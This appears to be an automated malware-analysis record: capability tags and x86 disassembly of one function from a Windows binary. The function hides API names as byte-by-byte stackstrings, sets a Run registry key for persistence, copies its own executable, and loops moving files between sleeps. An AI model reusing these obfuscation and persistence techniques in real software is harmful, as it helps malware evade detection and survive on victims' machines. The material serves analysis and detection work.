Function at 0x40537f
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Move file
Persist via run registry key

Disassembly:
mov eax, 0x42112f
call fcn.00420700
sub esp, 0x2a8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.KERNEL32.dll
push str.GetModuleFileNameA
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ecx, [ebp - 0x174]
push 0x104
push ecx
push 0
call eax
mov al, byte [ebp - 0xd]
push 0
lea ecx, [ebp - 0x4c]
mov byte [ebp - 0x4c], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
and dword [ebp - 4], 0
push 0
lea ecx, [ebp - 0x60]
mov byte [ebp - 0x60], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x60]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x4c]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040334e
add esp, 0x10
push str.CreateFileA
push ebx
call esi
push eax
call edi
push str.WriteFile
push ebx
call esi
push eax
call edi
and byte [ebp - 0x21], 0
lea eax, [ebp - 0x2c]
push eax
push ebx
mov byte [ebp - 0x2c], 0x43
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x73
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x48
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], 0x64
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x65
call esi
push eax
call edi
and byte [ebp - 0xf], 0
mov byte [ebp - 0x14], 0x53
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0x3c], 0x4b
mov byte [ebp - 0x3b], 0x45
mov byte [ebp - 0x3a], 0x52
mov byte [ebp - 0x39], 0x4e
mov byte [ebp - 0x38], 0x45
mov byte [ebp - 0x37], 0x4c
mov byte [ebp - 0x36], 0x33
mov byte [ebp - 0x35], 0x32
mov byte [ebp - 0x34], 0x2e
and byte [ebp - 0x30], 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x3c]
push eax
mov byte [ebp - 0x33], 0x64
mov byte [ebp - 0x32], 0x6c
mov byte [ebp - 0x31], 0x6c
call esi
push eax
call edi
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x50], eax
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
test ecx, ecx
jne 0x4054bc
mov ecx, eax
cmp dword [ebp - 0x48], 0
je 0x4054c5
mov eax, dword [ebp - 0x48]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
and byte [ebp - 0x17], 0
lea eax, [ebp - 0x20]
push eax
push ebx
mov byte [ebp - 0x20], 0x43
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x70
mov byte [ebp - 0x1d], 0x79
mov byte [ebp - 0x1c], 0x46
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x41
call esi
push eax
call edi
mov edi, eax
mov esi, 0x426618
lea eax, [ebp - 0x4c]
push esi
push eax
lea eax, [ebp - 0x70]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
mov eax, dword [eax + 4]
mov byte [ebp - 4], 2
test eax, eax
jne 0x405527
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push 0
push eax
lea eax, [ebp - 0x174]
push eax
call edi
push 1
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 1
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
cmp dword [0x426394], 0
je 0x40555d
mov eax, dword [ebp - 0x44]
inc eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push eax
call fcn.00401d35
pop ecx
pop ecx
push 0x7d0
call dword [ebp - 0x50]
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x405571
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
lea ecx, [ebp - 0x2b4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x4055c1
mov edi, dword [ebp - 0x48]
test edi, edi
jne 0x405591
mov edi, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
lea eax, [ebp - 0x4c]
push esi
push eax
lea eax, [ebp - 0x70]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
mov eax, dword [eax + 4]
add esp, 0xc
test eax, eax
jne 0x4055ae
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 1
lea ecx, [ebp - 0x70]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405565